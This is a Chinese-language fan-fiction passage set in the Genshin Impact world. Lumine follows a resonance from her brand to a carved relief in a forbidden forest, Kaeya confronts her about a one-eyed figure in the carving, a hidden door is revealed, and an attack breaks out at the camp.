后半夜,荧在半梦半醒间,忽然感到左胸的烙印传来一阵奇异的悸动。 不是疼痛,也不是灼热,而是一种共鸣。仿佛有什么同源的东西,在禁地深处苏醒了,正在呼唤她。 她悄悄坐起身,看了一眼身旁呼吸平稳的琴,轻轻掀开睡袋,拿起短剑,蹑手蹑脚地走出帐篷。 月光被林冠切割得支离破碎,禁地笼罩在一片朦胧的灰蓝之中。石坛在远处散发着微弱的银光,像一座沉默的墓碑。 荧循着那股共鸣感的指引,走向禁地深处——不是石坛方向,而是那片终年不散的雾气更浓的区域。 脚下是厚厚的苔藓和落叶,踩上去悄无声息。越往里走,雾气越浓,树木的形状也变得扭曲怪异,树皮上的古老符文比外围更加密集、清晰。 最后,她停在了一面爬满藤蔓的岩壁前。 共鸣感就是从这里传来的。 她伸手,拨开厚厚的藤蔓。岩壁上,赫然刻着一幅巨大的、线条古朴的浮雕。 浮雕的主体,是一棵枝桠伸展、巨大无比的树。树下,跪伏着无数身影,姿态虔诚。树的根部,深深扎入大地,而根须的末端……连接着几个模糊的、像是门扉的轮廓。 而在浮雕的一个角落,刻着一个单独的、稍小的人像。那个人像的轮廓,有着独特的、半边披散的发型,和一只格外清晰、仿佛在凝视远方的…… 独眼。 荧的呼吸骤然停止。 这个发型,这只眼睛…… “找到你了。” 一个声音,几乎贴着她的耳后响起。 荧浑身一僵,猛地转身,短剑横在胸前。 凯亚站在她身后一步之遥的地方。脸上没有了平时那种玩世不恭的笑,也没有了冰冷或戏谑。他的脸色在月光和雾气中,苍白得可怕。那只独眼死死盯着岩壁上的浮雕,尤其是那个独眼人像,瞳孔深处翻涌着荧从未见过的、近乎骇然的震愕,以及……某种深切的痛苦。 “凯亚,你……”荧话未说完。 凯亚忽然伸出手,不是对她,而是颤抖着抚向岩壁上那个独眼人像。他的指尖在即将触碰到岩壁时停住,像怕惊扰什么,又像怕被什么灼伤。 “原来……”他低声说,声音嘶哑得几乎破碎,“原来这里也有……‘罪证’。” 他猛地转头看向荧,独眼里充满了血丝。 “你看到了什么?”他问,声音紧绷,“除了这棵树,这些人,你还看到什么?听到什么?” 荧被他眼中的情绪惊到,下意识后退半步。 “我……只感觉到共鸣。烙印在动。然后看到了这个……”她指了指浮雕,“还有……那个像你的人。” “像我的人?”凯亚扯了扯嘴角,那笑容比哭还难看,“不,小可爱。那不是像我的人。” 他逼近一步,气息不受控制地泄露出来,不再是平日的冰甜引诱,而是一种混乱的、夹杂着冰冷、苦涩和某种狂躁的波动。 “那是我的——” 他的话戛然而止。 因为岩壁上的浮雕,在月光和荧身上烙印微光的双重映照下,那个独眼人像的眼睛,忽然亮起了极淡的、冰蓝色的微光。 与此同时,荧左胸的烙印猛地爆发出灼热的金红色光芒! 两股光芒在岩壁前交汇。 浮雕上,那棵巨树的根部,连接着的模糊门扉轮廓,瞬间变得清晰—— 那是一扇紧闭的、布满裂痕的、非金非石的巨门。门缝里,渗出粘稠的、暗金色的光。 一个宏大、苍凉、混合着无尽悲伤与期盼的叹息声,仿佛从地底深处,也从久远的时光彼岸,轰然撞进荧的意识! “门……将启……” “钥匙……已至……” “归……来……” “砰——!” 一声巨响从营地方向传来,伴随着树木断裂的噪音和一声短促的、属于派蒙的惊叫! 凯亚和荧同时回头。 只见营地所在的方向,火光冲天! 迪卢克侦查归来的方向,也传来了激烈的元素碰撞声和魔物的嘶吼! 禁地的宁静,被彻底打破了。